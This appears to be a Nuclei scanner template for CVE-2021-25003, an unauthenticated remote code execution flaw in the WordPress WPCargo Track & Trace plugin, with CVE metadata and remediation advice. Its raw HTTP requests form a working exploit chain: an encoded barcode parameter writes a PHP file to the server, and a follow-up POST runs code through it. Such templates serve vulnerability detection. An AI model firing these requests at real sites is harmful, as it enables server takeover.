WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution

id: CVE-2021-25003

info:
  name: WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress WPCargo Track & Trace plugin before 6.9.0 is susceptible to remote code execution, The plugin contains a file which can allow an attacker to write a PHP file anywhere on the web server, leading to possible remote code execution. This can allow an attacker to execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.
  remediation: |
    Update to the latest version of the WPCargo Track & Trace plugin (6.9.0 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
    - https://wordpress.org/plugins/wpcargo/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25003
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25003
    cwe-id: CWE-434,CWE-94
    epss-score: 0.56148
    epss-percentile: 0.99056
    cpe: cpe:2.3:a:wptaskforce:wpcargo_track_\&_trace:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wptaskforce
    product: wpcargo_track_\&_trace
    framework: wordpress
  tags: cve2021,cve,rce,wpcargo,unauth,wordpress,wp,wp-plugin,wpscan,intrusive,wptaskforce,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /wp-content/plugins/wpcargo/includes/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath={{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-content/plugins/wpcargo/includes/{{randstr}}.php?1=var_dump HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        2={{md5(num)}}

    matchers:
      - type: dsl
        dsl:
          - status_code_1 != 200
          - status_code_2 == 200
          - status_code_3 == 200
          - contains(body_3, md5(num))
          - contains(body_3, 'PNG')
        condition: and